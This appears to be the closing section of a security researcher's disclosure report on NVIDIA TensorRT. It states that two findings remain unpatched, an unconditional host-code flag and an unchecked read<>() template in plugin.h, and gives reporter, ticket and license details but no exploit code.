Both findings are unpatched as of TensorRT 11.1.0 (HEAD 82d1dca, Jul 2026).

• Finding 3: engine_host_code_allowed = True present in both EngineFromBytes and EngineFromPath with no conditional.
• Finding 4: read<>() template in plugin.h:100-108 remains unchecked. serialize.hpp was patched with proper bounds checking but read<>() was never updated. No git log entries indicate a fix.

---

Reporter

aiden b — security researcher.
Reported to NVIDIA PSIRT under ticket 6425536 on Jul 8, 2026.

License

This security research report is released under Apache-2.0, matching the TensorRT OSS license. The vulnerability described affects NVIDIA TensorRT, which is licensed under Apache-2.0.